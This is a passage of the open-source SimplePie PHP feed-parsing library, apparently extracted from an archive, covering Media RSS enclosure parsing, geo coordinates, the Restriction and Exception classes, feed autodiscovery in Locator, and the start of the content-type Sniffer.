$captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
}
if (is_array($captions)) {
$captions = array_values(array_unique($captions));
}
} else {
$captions = $captions_parent;
}
// CATEGORIES
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['data'])) {
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = 'http://search.yahoo.com/mrss/category_schema';
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
}
if (is_array($categories) && is_array($categories_parent)) {
$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
} elseif (is_array($categories)) {
$categories = array_values(array_unique($categories));
} elseif (is_array($categories_parent)) {
$categories = array_values(array_unique($categories_parent));
} else {
$categories = null;
}
// COPYRIGHTS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
$copyright_url = null;
$copyright_label = null;
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
$copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
$copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
} else {
$copyrights = $copyrights_parent;
}
// CREDITS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
$credit_role = null;
$credit_scheme = null;
$credit_name = null;
if (isset($credit['attribs']['']['role'])) {
$credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($credit['attribs']['']['scheme'])) {
$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$credit_scheme = 'urn:ebu';
}
if (isset($credit['data'])) {
$credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
}
if (is_array($credits)) {
$credits = array_values(array_unique($credits));
}
} else {
$credits = $credits_parent;
}
// DESCRIPTION
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
$description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$description = $description_parent;
}
// HASHES
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
$value = null;
$algo = null;
if (isset($hash['data'])) {
$value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($hash['attribs']['']['algo'])) {
$algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$algo = 'md5';
}
$hashes[] = $algo.':'.$value;
}
if (is_array($hashes)) {
$hashes = array_values(array_unique($hashes));
}
} else {
$hashes = $hashes_parent;
}
// KEYWORDS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
$temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords[] = trim($word);
}
unset($temp);
}
if (is_array($keywords)) {
$keywords = array_values(array_unique($keywords));
}
} else {
$keywords = $keywords_parent;
}
// PLAYER
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
$playerElem = $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
$player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
}
} else {
$player = $player_parent;
}
// RATINGS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
$rating_scheme = null;
$rating_value = null;
if (isset($rating['attribs']['']['scheme'])) {
$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$rating_scheme = 'urn:simple';
}
if (isset($rating['data'])) {
$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
if (is_array($ratings)) {
$ratings = array_values(array_unique($ratings));
}
} else {
$ratings = $ratings_parent;
}
// RESTRICTIONS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
$restriction_relationship = null;
$restriction_type = null;
$restriction_value = null;
if (isset($restriction['attribs']['']['relationship'])) {
$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['attribs']['']['type'])) {
$restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['data'])) {
$restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
if (is_array($restrictions)) {
$restrictions = array_values(array_unique($restrictions));
}
} else {
$restrictions = $restrictions_parent;
}
// THUMBNAILS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
if (isset($thumbnail['attribs']['']['url'])) {
$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
}
}
if (is_array($thumbnails)) {
$thumbnails = array_values(array_unique($thumbnails));
}
} else {
$thumbnails = $thumbnails_parent;
}
// TITLES
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
$title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$title = $title_parent;
}
$this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
}
}
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
// Attributes
$bitrate = null;
$channels = null;
$duration = null;
$expression = null;
$framerate = null;
$height = null;
$javascript = null;
$lang = null;
$length = null;
$medium = null;
$samplingrate = null;
$type = null;
$url = null;
$width = null;
$url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
if (isset($link['attribs']['']['type'])) {
$type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($link['attribs']['']['length'])) {
$length = intval($link['attribs']['']['length']);
}
if (isset($link['attribs']['']['title'])) {
$title = $this->sanitize($link['attribs']['']['title'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$title = $title_parent;
}
// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
$this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width]);
}
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
// Attributes
$bitrate = null;
$channels = null;
$duration = null;
$expression = null;
$framerate = null;
$height = null;
$javascript = null;
$lang = null;
$length = null;
$medium = null;
$samplingrate = null;
$type = null;
$url = null;
$width = null;
$url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
if (isset($link['attribs']['']['type'])) {
$type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($link['attribs']['']['length'])) {
$length = intval($link['attribs']['']['length']);
}
// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
$this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
}
}
foreach ($this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'enclosure') ?? [] as $enclosure) {
if (isset($enclosure['attribs']['']['url'])) {
// Attributes
$bitrate = null;
$channels = null;
$duration = null;
$expression = null;
$framerate = null;
$height = null;
$javascript = null;
$lang = null;
$length = null;
$medium = null;
$samplingrate = null;
$type = null;
$url = null;
$width = null;
$url = $this->sanitize($enclosure['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($enclosure));
$url = $this->get_sanitize()->https_url($url);
if (isset($enclosure['attribs']['']['type'])) {
$type = $this->sanitize($enclosure['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($enclosure['attribs']['']['length'])) {
$length = intval($enclosure['attribs']['']['length']);
}
// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
$this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
}
}
if (count($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) {
// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
$this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
}
$this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
}
if (!empty($this->data['enclosures'])) {
return $this->data['enclosures'];
}
return null;
}
/**
* Get the latitude coordinates for the item
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:lat>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return float|null
*/
public function get_latitude()
{
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
return (float) $return[0]['data'];
} elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
return (float) $match[1];
}
return null;
}
/**
* Get the longitude coordinates for the item
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return float|null
*/
public function get_longitude()
{
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
return (float) $return[0]['data'];
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
return (float) $return[0]['data'];
} elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
return (float) $match[2];
}
return null;
}
/**
* Get the `<atom:source>` for the item
*
* @since 1.1
* @return \SimplePie\Source|null
*/
public function get_source()
{
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'source')) {
return $this->registry->create(Source::class, [$this, $return[0]]);
}
return null;
}
public function set_sanitize(Sanitize $sanitize): void
{
$this->sanitize = $sanitize;
}
protected function get_sanitize(): Sanitize
{
if ($this->sanitize === null) {
$this->sanitize = new Sanitize();
}
return $this->sanitize;
}
}
class_alias('SimplePie\Item', 'SimplePie_Item');
src/Exception.php 0000644 00000000543 15220516755 0010014 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use Exception as NativeException;
/**
* General SimplePie exception class
*/
class Exception extends NativeException
{
}
class_alias('SimplePie\Exception', 'SimplePie_Exception');
src/Restriction.php 0000644 00000004501 15220516755 0010361 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles `<media:restriction>` as defined in Media RSS
*
* Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()}
*/
class Restriction
{
public const RELATIONSHIP_ALLOW = 'allow';
public const RELATIONSHIP_DENY = 'deny';
/**
* Relationship ('allow'/'deny')
*
* @var self::RELATIONSHIP_*|null
* @see get_relationship()
*/
public $relationship;
/**
* Type of restriction
*
* @var string|null
* @see get_type()
*/
public $type;
/**
* Restricted values
*
* @var string|null
* @see get_value()
*/
public $value;
/**
* Constructor, used to input the data
*
* For documentation on all the parameters, see the corresponding
* properties and their accessors
*
* @param ?self::RELATIONSHIP_* $relationship
*/
public function __construct(?string $relationship = null, ?string $type = null, ?string $value = null)
{
$this->relationship = $relationship;
$this->type = $type;
$this->value = $value;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the relationship
*
* @return ?self::RELATIONSHIP_*
*/
public function get_relationship()
{
if ($this->relationship !== null) {
return $this->relationship;
}
return null;
}
/**
* Get the type
*
* @return string|null
*/
public function get_type()
{
if ($this->type !== null) {
return $this->type;
}
return null;
}
/**
* Get the list of restricted things
*
* @return string|null
*/
public function get_value()
{
if ($this->value !== null) {
return $this->value;
}
return null;
}
}
class_alias('SimplePie\Restriction', 'SimplePie_Restriction');
src/Locator.php 0000644 00000040473 15220516755 0007467 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use DomDocument;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
use SimplePie\HTTP\Response;
/**
* Used for feed auto-discovery
*
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_locator_class()}
*/
class Locator implements RegistryAware
{
/** @var ?string */
public $useragent = null;
/** @var int */
public $timeout = 10;
/** @var File */
public $file;
/** @var string[] */
public $local = [];
/** @var string[] */
public $elsewhere = [];
/** @var array<mixed> */
public $cached_entities = [];
/** @var string */
public $http_base;
/** @var string */
public $base;
/** @var int */
public $base_location = 0;
/** @var int */
public $checked_feeds = 0;
/** @var int */
public $max_checked_feeds = 10;
/** @var bool */
public $force_fsockopen = false;
/** @var array<int, mixed> */
public $curl_options = [];
/** @var ?\DomDocument */
public $dom;
/** @var ?Registry */
protected $registry;
/**
* @var Client|null
*/
private $http_client = null;
/**
* @param array<int, mixed> $curl_options
*/
public function __construct(File $file, int $timeout = 10, ?string $useragent = null, int $max_checked_feeds = 10, bool $force_fsockopen = false, array $curl_options = [])
{
$this->file = $file;
$this->useragent = $useragent;
$this->timeout = $timeout;
$this->max_checked_feeds = $max_checked_feeds;
$this->force_fsockopen = $force_fsockopen;
$this->curl_options = $curl_options;
$body = $this->file->get_body_content();
if (class_exists('DOMDocument') && $body != '') {
$this->dom = new \DOMDocument();
set_error_handler([Misc::class, 'silence_errors']);
try {
$this->dom->loadHTML($body);
} catch (\Throwable $ex) {
$this->dom = null;
}
restore_error_handler();
} else {
$this->dom = null;
}
}
/**
* Set a PSR-18 client and PSR-17 factories
*
* Allows you to use your own HTTP client implementations.
*/
final public function set_http_client(
ClientInterface $http_client,
RequestFactoryInterface $request_factory,
UriFactoryInterface $uri_factory
): void {
$this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
}
/**
* @return void
*/
public function set_registry(\SimplePie\Registry $registry)
{
$this->registry = $registry;
}
/**
* @param SimplePie::LOCATOR_* $type
* @param array<Response>|null $working
* @return Response|null
*/
public function find(int $type = \SimplePie\SimplePie::LOCATOR_ALL, ?array &$working = null)
{
assert($this->registry !== null);
if ($this->is_feed($this->file)) {
return $this->file;
}
if (Misc::is_remote_uri($this->file->get_final_requested_uri())) {
$sniffer = $this->registry->create(Content\Type\Sniffer::class, [$this->file]);
if ($sniffer->get_type() !== 'text/html') {
return null;
}
}
if ($type & ~\SimplePie\SimplePie::LOCATOR_NONE) {
$this->get_base();
}
if ($type & \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) {
return $working[0];
}
if ($type & (\SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION | \SimplePie\SimplePie::LOCATOR_LOCAL_BODY | \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION | \SimplePie\SimplePie::LOCATOR_REMOTE_BODY) && $this->get_links()) {
if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) {
return $working[0];
}
if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) {
return $working[0];
}
if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) {
return $working[0];
}
if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) {
return $working[0];
}
}
return null;
}
/**
* @return bool
*/
public function is_feed(Response $file, bool $check_html = false)
{
assert($this->registry !== null);
if (Misc::is_remote_uri($file->get_final_requested_uri())) {
$sniffer = $this->registry->create(Content\Type\Sniffer::class, [$file]);
$sniffed = $sniffer->get_type();
$mime_types = ['application/rss+xml', 'application/rdf+xml',
'text/rdf', 'application/atom+xml', 'text/xml',
'application/xml', 'application/x-rss+xml'];
if ($check_html) {
$mime_types[] = 'text/html';
}
return in_array($sniffed, $mime_types);
} elseif (is_file($file->get_final_requested_uri())) {
return true;
} else {
return false;
}
}
/**
* @return void
*/
public function get_base()
{
assert($this->registry !== null);
if ($this->dom === null) {
throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
}
$this->http_base = $this->file->get_final_requested_uri();
$this->base = $this->http_base;
$elements = $this->dom->getElementsByTagName('base');
foreach ($elements as $element) {
if ($element->hasAttribute('href')) {
$base = $this->registry->call(Misc::class, 'absolutize_url', [trim($element->getAttribute('href')), $this->http_base]);
if ($base === false) {
continue;
}
$this->base = $base;
$this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
break;
}
}
}
/**
* @return array<Response>|null
*/
public function autodiscovery()
{
$done = [];
$feeds = [];
$feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
$feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
$feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));
if (!empty($feeds)) {
return array_values($feeds);
}
return null;
}
/**
* @param string[] $done
* @param array<string, Response> $feeds
* @return array<string, Response>
*/
protected function search_elements_by_tag(string $name, array &$done, array $feeds)
{
assert($this->registry !== null);
if ($this->dom === null) {
throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
}
$links = $this->dom->getElementsByTagName($name);
foreach ($links as $link) {
if ($this->checked_feeds === $this->max_checked_feeds) {
break;
}
if ($link->hasAttribute('href') && $link->hasAttribute('rel')) {
$rel = array_unique($this->registry->call(Misc::class, 'space_separated_tokens', [strtolower($link->getAttribute('rel'))]));
$line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;
if ($this->base_location < $line) {
$href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
} else {
$href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
}
if ($href === false) {
continue;
}
if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call(Misc::class, 'parse_mime', [$link->getAttribute('type')])), ['text/html', 'application/rss+xml', 'application/atom+xml'])) && !isset($feeds[$href])) {
$this->checked_feeds++;
$headers = [
'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
];
try {
$feed = $this->get_http_client()->request(Client::METHOD_GET, $href, $headers);
if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed, true)) {
$feeds[$href] = $feed;
}
} catch (ClientException $th) {
// Just mark it as done and continue.
}
}
$done[] = $href;
}
}
return $feeds;
}
/**
* @return true|null
*/
public function get_links()
{
assert($this->registry !== null);
if ($this->dom === null) {
throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
}
$links = $this->dom->getElementsByTagName('a');
foreach ($links as $link) {
if ($link->hasAttribute('href')) {
$href = trim($link->getAttribute('href'));
$parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) {
if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) {
$href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
} else {
$href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
}
if ($href === false) {
continue;
}
$current = $this->registry->call(Misc::class, 'parse_url', [$this->file->get_final_requested_uri()]);
if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) {
$this->local[] = $href;
} else {
$this->elsewhere[] = $href;
}
}
}
}
$this->local = array_unique($this->local);
$this->elsewhere = array_unique($this->elsewhere);
if (!empty($this->local) || !empty($this->elsewhere)) {
return true;
}
return null;
}
/**
* Extracts first `link` element with given `rel` attribute inside the `head` element.
*
* @return string|null
*/
public function get_rel_link(string $rel)
{
assert($this->registry !== null);
if ($this->dom === null) {
throw new \SimplePie\Exception('DOMDocument not found, unable to use '.
'locator');
}
if (!class_exists('DOMXpath')) {
throw new \SimplePie\Exception('DOMXpath not found, unable to use '.
'get_rel_link');
}
$xpath = new \DOMXpath($this->dom);
$query = '(//head)[1]/link[@rel and @href]';
/** @var \DOMNodeList<\DOMElement> */
$queryResult = $xpath->query($query);
foreach ($queryResult as $link) {
$href = trim($link->getAttribute('href'));
$parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
if ($parsed['scheme'] === '' ||
preg_match('/^https?$/i', $parsed['scheme'])) {
if (method_exists($link, 'getLineNo') &&
$this->base_location < $link->getLineNo()) {
$href = $this->registry->call(
Misc::class,
'absolutize_url',
[trim($link->getAttribute('href')), $this->base]
);
} else {
$href = $this->registry->call(
Misc::class,
'absolutize_url',
[trim($link->getAttribute('href')), $this->http_base]
);
}
if ($href === false) {
return null;
}
$rel_values = explode(' ', strtolower($link->getAttribute('rel')));
if (in_array($rel, $rel_values)) {
return $href;
}
}
}
return null;
}
/**
* @param string[] $array
* @return array<Response>|null
*/
public function extension(array &$array)
{
foreach ($array as $key => $value) {
if ($this->checked_feeds === $this->max_checked_feeds) {
break;
}
$extension = strrchr($value, '.');
if ($extension !== false && in_array(strtolower($extension), ['.rss', '.rdf', '.atom', '.xml'])) {
$this->checked_feeds++;
$headers = [
'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
];
try {
$feed = $this->get_http_client()->request(Client::METHOD_GET, $value, $headers);
if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed)) {
return [$feed];
}
} catch (ClientException $th) {
// Just unset and continue.
}
unset($array[$key]);
}
}
return null;
}
/**
* @param string[] $array
* @return array<Response>|null
*/
public function body(array &$array)
{
foreach ($array as $key => $value) {
if ($this->checked_feeds === $this->max_checked_feeds) {
break;
}
if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) {
$this->checked_feeds++;
$headers = [
'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
];
try {
$feed = $this->get_http_client()->request(Client::METHOD_GET, $value, $headers);
if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed)) {
return [$feed];
}
} catch (ClientException $th) {
// Just unset and continue.
}
unset($array[$key]);
}
}
return null;
}
/**
* Get a HTTP client
*/
private function get_http_client(): Client
{
assert($this->registry !== null);
if ($this->http_client === null) {
$options = [
'timeout' => $this->timeout,
'redirects' => 5,
'force_fsockopen' => $this->force_fsockopen,
'curl_options' => $this->curl_options,
];
if ($this->useragent !== null) {
$options['useragent'] = $this->useragent;
}
return new FileClient(
$this->registry,
$options
);
}
return $this->http_client;
}
}
class_alias('SimplePie\Locator', 'SimplePie_Locator', false);
src/Content/Type/Sniffer.php 0000644 00000016736 15220516755 0012020 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Content\Type;
use InvalidArgumentException;
use SimplePie\File;
use SimplePie\HTTP\Response;
/**
* Content-type sniffing
*
* Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
*
* This is used since we can't always trust Content-Type headers, and is based
* upon the HTML5 parsing rules.
*
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_content_type_sniffer_class()}
*/
class Sniffer
{
/**
* File object
*
* @var File|Response
*/
public $file;
/**
* Create an instance of the class with the input file
*
* @param File|Response $file Input file
*/
public function __construct(/* File */ $file)
{
if (!is_object($file) || !$file instanceof Response) {
// For BC we're asking for `File`, but internally we accept every `Response` implementation
throw new InvalidArgumentException(sprintf(
'%s(): Argument #1 ($file) must be of type %s',
__METHOD__,
File::class
), 1);
}
$this->file = $file;
}
/**
* Get the Content-Type of the specified file
*
* @return string Actual Content-Type
*/
public function get_type()
{
$content_type = $this->file->has_header('content-type') ? $this->file->get_header_line('content-type') : null;
$content_encoding = $this->file->has_header('content-encoding') ? $this->file->get_header_line('content-encoding') : null;
if ($content_type !== null) {
if ($content_encoding === null
